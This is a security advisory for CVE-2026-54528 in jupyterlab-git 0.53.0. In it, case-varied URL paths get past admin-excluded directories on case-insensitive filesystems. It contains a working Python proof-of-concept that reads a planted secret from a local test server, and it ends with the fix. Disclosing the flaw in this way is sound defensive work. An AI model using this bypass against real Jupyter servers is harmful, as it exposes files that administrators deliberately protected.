PT-2026-51066 · Pypi · Jupyterlab-Git

Publicado

2026-06-19

·

Atualizado

2026-06-19

·

CVE-2026-54528

CVSS v3.1

7.1

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab git/handlers.py:91) to enforce the admin-configured excluded paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

python
# jupyterlab git/handlers.py:84-92
async def prepare(self):
  """Check if the path should be skipped"""
  await ensure async(super().prepare())
  path = self.path kwargs.get("path")
  if path is not None:
    excluded paths = self.git.excluded paths
    for excluded path in excluded paths:
      if fnmatch.fnmatchcase(path, excluded path): # ← always case-sensitive
        raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
python
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded paths by varying the case of the URL path segment. This grants:
  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack Scenario

  1. Admin configures c.JupyterLabGit.excluded paths = ["/project/secrets", "/project/secrets/*"]
  2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
  3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
  4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded paths, and demonstrates bypass + exfiltration via HTTP.
python
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error

from jupyterlab git.handlers import GitHandler # real import, no mock
from jupyterlab git core.git import Git
import jupyterlab git core

PORT = 18895
TOKEN = "xtoken"
BASE URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"


def post(path seg, endpoint, body=None):
  url = f"{BASE URL}/git/{path seg}{endpoint}"
  data = json.dumps(body or {}).encode()
  req = urllib.request.Request(url, data=data, method="POST",
    headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
  try:
    resp = urllib.request.urlopen(req, timeout=10)
    return resp.status, json.loads(resp.read())
  except urllib.error.HTTPError as e:
    return e.code, e.read().decode()


def main():
  base dir = tempfile.mkdtemp(prefix="jlgit ")
  workspace = os.path.join(base dir, "workspace")
  repo dir = os.path.join(workspace, "project")
  secret dir = os.path.join(repo dir, "secrets")
  os.makedirs(secret dir)

  with open(os.path.join(secret dir, "cred.txt"), "w") as f:
    f.write(SECRET + "
")

  git env = {**os.environ, "GIT AUTHOR NAME": "a", "GIT AUTHOR EMAIL": "a@x",
        "GIT COMMITTER NAME": "a", "GIT COMMITTER EMAIL": "a@x"}
  subprocess.run(["git", "init"], cwd=repo dir, capture output=True, check=True)
  subprocess.run(["git", "add", "."], cwd=repo dir, capture output=True, check=True)
  subprocess.run(["git", "commit", "-m", "init"], cwd=repo dir,
          capture output=True, check=True, env=git env)

  config path = os.path.join(base dir, "jupyter server config.py")
  with open(config path, "w") as f:
    f.write(f'c.ServerApp.root dir = "{workspace}"
')
    f.write(f'c.ServerApp.token = "{TOKEN}"
')
    f.write(f'c.ServerApp.open browser = False
')
    f.write(f'c.ServerApp.port = {PORT}
')
    f.write(f'c.ServerApp.ip = "127.0.0.1"
')
    f.write(f'c.ServerApp.disable check xsrf = True
')
    f.write(f'c.JupyterLabGit.excluded paths = ["/project/secrets", "/project/secrets/*"]
')

  env = os.environ.copy()
  env["JUPYTER CONFIG DIR"] = base dir
  env["JUPYTER DATA DIR"] = base dir
  proc = subprocess.Popen(
    [sys.executable, "-m", "jupyter server", f"--config={config path}",
     "--ServerApp.jpserver extensions={'jupyterlab git': True}"],
    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base dir)

  for  in range(30):
    try:
      req = urllib.request.Request(f"{BASE URL}/api/status",
                     headers={"Authorization": f"token {TOKEN}"})
      if urllib.request.urlopen(req, timeout=2).status == 200:
        break
    except (urllib.error.URLError, OSError):
      pass
    time.sleep(0.5)
  else:
    proc.kill()
    shutil.rmtree(base dir, ignore errors=True)
    sys.exit("server failed to start")

  try:
    # exclusion works
    code,  = post("project/secrets", "/status")
    blocked = code == 404

    # bypass
    code,  = post("project/Secrets", "/status")
    bypassed = code == 200

    # exfiltrate
    code, body = post("project/Secrets", "/content",
             {"filename": "./cred.txt", "reference": {"git": "HEAD"}})
    content = body.get("content", "") if isinstance(body, dict) else ""
    exfiltrated = SECRET in content

    ok = blocked and bypassed and exfiltrated
    print(f"exclusion enforced (lowercase): {blocked}")
    print(f"bypass (case-varied):      {bypassed}")
    print(f"secret exfiltrated:       {exfiltrated}")
    print(f"result:             {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
    return ok

  finally:
    proc.terminate()
    proc.wait(timeout=5)
    shutil.rmtree(base dir, ignore errors=True)


if  name  == " main ":
  sys.exit(0 if main() else 1)
bash
pip install 'jupyterlab-git==0.53.0'
python poc.py
image

Fix

python
if fnmatch.fnmatch(path.lower(), excluded path.lower()):
  raise tornado.web.HTTPError(404)
Or apply os.path.normcase() to both operands before comparison.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54528
GHSA-436Q-JWFR-RM2H

Produtos afetados

Jupyterlab-Git